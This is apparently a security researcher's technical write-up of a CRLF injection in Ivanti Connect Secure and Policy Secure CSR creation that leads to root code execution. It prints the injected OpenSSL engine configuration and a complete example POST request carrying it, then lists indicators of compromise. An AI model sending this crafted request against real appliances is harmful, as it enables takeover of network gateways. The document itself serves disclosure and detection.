Ivanti Connect Secure versions prior to 22.7R2.1 and 22.7R2.2, and Ivanti Policy Secure versions prior to 22.7R1 are vulnerable to CRLF injection, which leads to remote code execution with the privileges of the user root. Since it requires to be authenticated as an administrator on the web interface, it might be less attractive for attackers. That being said, it is still considered a critical vulnerability since the attacker could have full control of the server.

Another requirement is the ability to upload a malicious file to the server. This file will be loaded and executed later during the exploitation of this vulnerability. The available PoC’s abuse the Client Log Upload feature for this purpose, which needs to be enabled and can only be used by a non-administrative user, as far as I know. Since the attacker already has access to the administrative interface, he can easily enable this feature and create a user if necessary.

Technical Details

The attack consists in first uploading the payload abusing the Client Log Upload capability. The application doesn’t seem to check the file type and consider it as a .zip file. It renames the file and stores it in a known location on the server (/home/runtime/uploadlog/). The attacker can retrieve the filename from the administrative interface and get the full local path on the server.

Then, the attacker will create a Certificate Signing Request (CSR) via the web interface and inject some specifically crafted OpenSLL configuration:

…
[default]
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
var1 = custom_section_name
[custom_section_name]
engine_id = var1
dynamic_path = /home/runtime/uploadlog/log-20241104-071100.zip
init = 0
…

This configuration will instruct OpenSSL to use a custom cryptographic engine instead of the default one. The local path of our payload (previously uploaded through the Client Log Upload feature) is specified in the injected configuration, which will result in OpenSSL loading it as a shared object. This OpenSSL Engine API has been deprecated since OpenSSL version 3.0, but the vulnerable Ivanti products use an older version with this feature still available.

Example of HTTP POST request with the injected OpenSSL configuration:

…
xsauth=7b256576da59e34e61e6dc729d10a979&commonName=Legal&organizationName=Weber, Murazik and Sauer&organizationalUnitName=Risk Management&localityName=Pourosberg
[default]
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
uqsp = pleapzctgw
[pleapzctgw]
engine_id = uqsp
dynamic_path = /home/runtime/uploadlog/log-20241104-071100.zip
init = 0
&stateOrProvinceName=Michigan&countryName=NE&emailAddress=bobbi_kuvalis@bauch-kub.example&keytype=RSA&keylength=1024&eccurve=prime256v1&random=aJcgsEm&newcsr=yes&certType=device&btnCreateCSR=Create CSR

The application will format and save these configurations to a temporary file on the server. openssl req will then be executed to create a CSR, passing this temporary configuration file as an argument:

openssl req config <temp_config> -new -utf8 -out <output folder>

Indicators of Compromise

• Log files uploaded through the Client Log Upload feature will appear in logs in the administrative interface (Log/Monitoring > Events > Logs).
  
• A pending CSR might still be listed in the administrative interface (Configuration > Certificates > Device Certificate)
  

A Metasploit module exploiting the vulnerability against Ivanti Connect Secure is available.